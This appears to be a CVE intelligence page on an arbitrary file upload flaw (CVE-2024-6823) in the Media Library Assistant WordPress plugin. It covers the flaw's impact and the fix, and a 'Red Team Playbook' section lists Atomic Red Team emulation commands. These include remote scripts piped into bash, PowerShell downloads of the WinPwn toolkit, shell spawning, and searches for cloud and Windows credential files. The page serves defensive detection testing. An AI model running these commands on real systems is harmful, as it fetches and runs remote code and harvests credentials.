CVE-2024-6823
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the Media Library Assistant WordPress plugin. The root cause lies in the lack of proper file type checks in the AJAX handler for the mla-inline-edit-upload-scripts action. This issue affects all plugin versions up to and including 3.18, specifically impacting the file upload component of the plugin's inline editing scripts.
Vulnerability Description
The Media Library Assistant plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation involving the mla-inline-edit-upload-scripts AJAX action in all versions up to, and including, 3.18. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with Author-level or greater privileges can upload arbitrary files to the target server, which may include malicious code capable of remote code execution. This enables unauthorized control over the affected WordPress site, leading to potential data compromise, site defacement, or further network pivoting. Exploitation requires authentication but no user interaction beyond possessing sufficient privileges (PR:L). The vulnerability has a high severity rating (CVSS 8.8) due to its ability to compromise confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade the Media Library Assistant plugin to a version later than 3.18 where this vulnerability has been addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/9a446fe7-c97a-436e-b494-b924e6518297) provides detailed patch information. Additionally, reviewing the plugin’s source code at the WordPress plugin repository confirms the fix in the includes/class-mla-settings.php file. No alternative workarounds are documented, so updating to the patched version is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Media Library Assistant plugin for WordPress stems from inadequate file type validation during the handling of AJAX actions, specifically the mla-inline-edit-upload-scripts. This oversight allows authenticated users with Author-level access or higher to upload arbitrary files to the server. The absence of stringent checks on file types means that attackers can exploit this weakness to upload malicious scripts or executables disguised as benign files. This flaw is particularly concerning as it opens the door to potential remote code execution, where an attacker could execute arbitrary code on the server, leading to a complete compromise of the affected WordPress installation.
Attack vectors for this vulnerability are primarily facilitated through the compromised user accounts. Once an attacker gains access to an account with sufficient privileges, they can leverage the AJAX action to upload malicious files. For instance, an attacker could upload a PHP web shell, which would allow them to execute commands on the server, manipulate files, or even pivot to other systems within the network. Additionally, if the attacker can escalate privileges or compromise other accounts, they can further exploit the vulnerability to gain broader access. This scenario highlights the critical need for robust user account management and monitoring within WordPress environments.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on WordPress for their web presence. Successful exploitation can lead to data breaches, loss of sensitive information, defacement of websites, or even the deployment of malware to visitors. The business risks associated with such incidents include reputational damage, loss of customer trust, potential legal ramifications, and financial losses due to downtime or remediation efforts. Furthermore, the presence of arbitrary file upload vulnerabilities can attract malicious actors, increasing the likelihood of targeted attacks against the organization.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments are essential to identify and remediate weaknesses in plugins and themes. Keeping the Media Library Assistant plugin and all other components of the WordPress installation updated to the latest versions is crucial, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of security. Organizations should also enforce the principle of least privilege, ensuring that user accounts have only the necessary permissions to perform their functions, thereby minimizing the risk of exploitation.
In conclusion, the vulnerability in the Media Library Assistant plugin poses a serious threat to WordPress installations, particularly due to its potential for remote code execution. The exploitation of this weakness can lead to severe consequences for organizations, making it imperative to adopt proactive security measures. By implementing robust detection and mitigation strategies, organizations can significantly reduce their risk exposure and enhance their overall security posture. Continuous monitoring, user education, and adherence to best practices in web application security are vital components in safeguarding against such vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Davidlingren | Media Library Assistant | All |
cpe:2.3:a:davidlingren:media_library_assistant:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6823 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/9a446fe7-c97a-436e-b494-b924e6518297?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/media-library-assistant/trunk/includes/class-mla-settings.php#L32 |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/media-library-assistant/#developers |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3133909/ |